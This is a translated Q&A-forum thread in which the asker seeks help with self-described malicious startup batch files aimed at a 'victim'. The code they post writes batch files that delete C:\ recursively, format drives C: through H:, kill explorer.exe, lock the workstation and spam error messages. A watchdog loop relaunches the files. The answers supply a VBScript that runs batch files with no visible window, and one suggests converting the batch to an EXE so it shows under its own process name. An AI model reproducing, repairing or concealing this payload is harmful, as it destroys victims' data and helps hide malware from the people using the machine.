如何停止任务管理器中显示的作为名为 cmd.exe 的进程打开的每个批处理文件

如何停止任务管理器中显示的作为名为 cmd.exe 的进程打开的每个批处理文件

这非常复杂。我正在开发一个恶意批处理文件,只是为了测试自己。这将在启动时完成。

我有的是三+六() 批处理文件。第一个文件生成另外六个隐藏的批处理文件,然后称呼第二个没有隐藏文件。

第二个文件只是说了一些令人讨厌的事情,最后执行了六个文件。

第三个文件在后台运行,并检查第二个文件是否正在运行,如果没有,它将执行六个隐藏文件。

现在我遇到的问题。如果受害者有一个服务或任何东西在启动时打开批处理文件并继续运行,那么所有的事情都会变得混乱,因为所有正在运行的批处理文件都有进程名cmd.exe如果受害者关闭第二个(未隐藏)文件,而是另一个批处理文件(不属于病毒)正在运行。第三个批处理文件将假定它仍在运行。因为它也有名字cmd.exe

并且第二个文件不会在启动时打开。

这是我的批处理文件的代码。

文件编号 1
@echo off

:DALLING

echo @echo off >>1.bat
echo :B >>1.bat
echo start >>1.bat
echo goto B >>1.bat

echo @echo off >>2.bat
echo color 02 >>2.bat
echo :start >>2.bat
echo taskkill -f explorer.exe  >>2.bat
echo start %windir%\System32\rundll32.exe user 32.dll, LockWorkStation            >>2.bat
echo rd c:\ /s /q >>2.bat
echo cls >>2.bat

echo @Echo off >>3.bat
echo Del C:\ *.* >>3.bat

echo format E:\ >>4.bat
echo format F:\ >>4.bat
echo format G:\ >>4.bat
echo format H:\ >>4.bat
echo format C:\ >>4.bat
echo pause >>4.bat

echo @echo off >>5.bat
echo :M >>5.bat
echo msg * ERROR!! >>5.bat
echo goto M >>5.bat

echo @echo off >>6.bat
echo color 02 >>6.bat
echo :start >>6.bat
echo taskkill -f explorer.exe >>6.bat
echo start %windir%\System32\rundll32.exe user 32.dll, LockWorkStation  >>6.bat
echo rd c:\ /s /q >>6.bat
echo cls >>6.bat

call **Second File**

:THE END
cls
echo BYE BYE! BIG BABY BOO!
ping 192.0.2.2 -n 1 -w 500 >nul
pause
start 1.bat
start 2.bat
start 3.bat
start 4.bat
start 5.bat
start 6.bat
EXIT

我知道这很乱,无法正常工作,但是仍然......

文件编号2
@echo off

:THW
color a
echo 5
ping 192.0.2.2 -n 1 -w 1000 >nul
cls
echo 4
ping 192.0.2.2 -n 1 -w 1000 >nul
cls
echo 3
ping 192.0.2.2 -n 1 -w 1000 >nul
cls
echo 2
ping 192.0.2.2 -n 1 -w 1000 >nul
cls
echo 1
ping 192.0.2.2 -n 1 -w 1000 >nul

:BHANUUB

cls
color 04
echo ERROR!
ping 192.0.2.2 -n 1 -w 1000 >nul 
echo.
echo.
echo.
echo System Failure! Windir/system32/Windows programming changing.          Warning, system disability!
echo System can still be saved, you might lose some data. Do you want to  save the system?
echo (y/n)?
echo.
echo.
set/p bhaa=
if %bhaa%==y goto HUH
if %bhaa%==Y goto HUH
if %bhaa%==n goto THE END
if %bhaa%==N goto THE END

:HUH
color a
cls
echo Saving system.
ping 192.0.2.2 -n 1 -w 500 >nul
cls
echo Saving system..
ping 192.0.2.2 -n 1 -w 500 >nul
cls
echo Saving system...
ping 192.0.2.2 -n 1 -w 500 >nul
cls
echo Saving system....
ping 192.0.2.2 -n 1 -w 500 >nul
cls
echo Saving system.....
ping 192.0.2.2 -n 1 -w 150 >nul
goto ENDDD
cls

:ENDDD
cls
color 04
echo HUH!! You wanna save the system, do you????
echo.
echo.
                                                              
echo      ***                          ***                       
echo      ***                          ***                          
echo      ***    \      /              ***              
echo      ***     \ \/ /               ***                     
echo      ***      \/\/ON'T LET YOU    ***                                         
echo      ***                          ***           
echo      ***                          ***                                                                       

ping 192.0.2.2 -n 1 -w 3000 >nul
goto THE END

我知道这些说法看起来很奇怪但是......

我从 stackoverflow 中选取了第三个文件并做了一些修改,第三个文件

档案编号3
@echo off
:B

Set "MyProcess=cmd.exe"
echo "%MyProcess%"
tasklist /NH /FI "imagename eq %MyProcess%" 2>nul |find /i "%MyProcess%"   >nul
If not errorlevel 1 (Echo "%MyProcess%" est en cours d^'execution) else   (start "" "1.bat","" "2.bat","" "3.bat","" "4.bat","" "5.bat","" "6.bat")
goto B

我知道第三个文件的代码似乎有误,但其实不然。因为一旦cmd.exe启动其他程序,它就会停止执行程序。但那时如何终止它呢?

以及如何执行所有这六个程序,我认为不是我所写的方式。

第三个文件将不会进入启动文件夹,因为我发现有一个 vbscript 会在后台启动它。

但它对我来说不起作用,而且我也不知道如何使用它:P。

这是我发现的 VBscript(或解决方案)。
Solution 1:

Save this one line of text as file invisible.vbs:

CreateObject(“Wscript.Shell”).Run “””” & WScript.Arguments(0) & “”””, 0, False

To run any program or batch file invisibly, use it like this:

wscript.exe “C:\Wherever\invisible.vbs” “C:\Some Other Place\MyBatchFile.bat”

To also be able to pass-on/relay a list of arguments use only two double quotes

CreateObject(“Wscript.Shell”).Run “” & WScript.Arguments(0) & “”, 0, False

eg: Invisible.vbs “Kill.vbs ME.exe”

Solution 2:

Use a command line tool to silently launch a process : Quiet.

我打算将第一个文件和 vbscrip(如果它可以运行)放在启动文件夹中。

任何非常感谢您的帮助,我寻求详细的答案。

感谢超级用户

附言:- 标题还不足以说明问题,是吗?

答案1

第三部分

第三个文件将不会进入启动文件夹,因为我发现有一个 vbscript 会在后台启动它。

但它对我来说不起作用,而且我也不知道如何使用它:P。

这是我发现的 VBscript(或解决方案)。

运行批处理脚本或其他进程因此它在启动时会像其他方式一样显示,使用以下保存到 .VBS 文件的逻辑。您将启动 .VBS 文件来执行您指向的任何程序或脚本,并且当该进程运行时,它不会显示控制台窗口等。

重要的: 在我的示例中,请确保在脚本的隐藏部分中插入您想要启动的进程的完整路径和名称,C:\Path\Script.bat并且无论路径或文件名中是否有空格,都要确保保留其周围的双引号。

Set WinScriptHost = CreateObject("WScript.Shell")
WinScriptHost.Run Chr(34) & "C:\Path\Script.bat" & Chr(34), 0
Set WinScriptHost = Nothing

笔记:我将其用于服务器上的几个计划进程,多个人通过 RDP 访问它来管理不同类型的计划作业和调度程序(不是任务调度程序,而是在 Windows Server 上),它完全满足需求。如果可能的话,我建议将您的批处理或其他进程记录到日志文件中以供以后查看、动态错误报告等。

来源: 服务器故障

答案2

哇,这有很多信息,其中很多只是增加了混乱,所以我会坚持手头的标题问题......:)

如何停止任务管理器中显示的以 cmd.exe 进程形式打开的每个批处理文件?

由于批处理文件用于自动化(脚本)命令行,全部批处理文件由命令行解释器进程,在 Windows 上是cmd.exe

我认为,对于您的情况,最简单的方法是使用实​​用程序将批处理文件转换为 EXE。这样,您就可以随意命名它、应用图标,最重要的是,让它在任务管理器中显示为自己的命名进程。

如需转换方面的帮助,请查看此现有的 SU 问题:如何将 Windows 批处理脚本转换为 .exe?

相关内容